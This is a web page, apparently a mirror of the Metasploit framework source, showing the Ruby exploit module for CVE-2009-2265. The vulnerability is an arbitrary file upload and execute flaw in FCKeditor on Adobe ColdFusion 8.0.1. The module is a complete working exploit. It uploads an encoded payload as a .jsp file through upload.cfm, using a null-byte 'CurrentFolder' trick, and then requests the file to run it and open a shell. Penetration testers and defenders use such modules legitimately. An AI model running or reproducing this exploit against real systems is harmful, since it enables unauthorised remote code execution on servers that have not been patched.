Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/coldfusion_fckeditor.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'ColdFusion 8.0.1 Arbitrary File Upload and Execute',13'Description' => %q{14This module exploits the Adobe ColdFusion 8.0.1 FCKeditor 'CurrentFolder' File Upload15and Execute vulnerability.16},17'Author' => [ 'MC' ],18'License' => MSF_LICENSE,19'Platform' => 'win',20'Privileged' => true,21'References' =>22[23[ 'CVE', '2009-2265' ],24[ 'OSVDB', '55684'],25],26'Targets' =>27[28[ 'Universal Windows Target',29{30'Arch' => ARCH_JAVA,31'Payload' =>32{33'DisableNops' => true,34},35}36],37],38'DefaultOptions' =>39{40'SHELL' => 'cmd.exe'41},42'DefaultTarget' => 0,43'DisclosureDate' => '2009-07-03'44))4546register_options(47[48OptString.new('FCKEDITOR_DIR', [ false, 'The path to upload.cfm ', '/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm' ]),49])50end5152def exploit5354page = rand_text_alpha_upper(rand(10) + 1) + ".jsp"5556dbl = Rex::MIME::Message.new57dbl.add_part(payload.encoded, "application/x-java-archive", nil, "form-data; name=\"newfile\"; filename=\"#{rand_text_alpha_upper(8)}.txt\"")58file = dbl.to_s59file.strip!6061print_status("Sending our POST request...")6263res = send_request_cgi(64{65'uri' => normalize_uri(datastore['FCKEDITOR_DIR']),66'query' => "Command=FileUpload&Type=File&CurrentFolder=/#{page}%00",67'version' => '1.1',68'method' => 'POST',69'ctype' => 'multipart/form-data; boundary=' + dbl.bound,70'data' => file,71}, 5)7273if ( res and res.code == 200 and res.body =~ /OnUploadCompleted/ )74print_status("Upload succeeded! Executing payload...")7576send_request_raw(77{78# default path in Adobe ColdFusion 8.0.1.79'uri' => '/userfiles/file/' + page,80'method' => 'GET',81}, 5)8283handler84else85print_error("Upload Failed...")86return87end8889end90end919293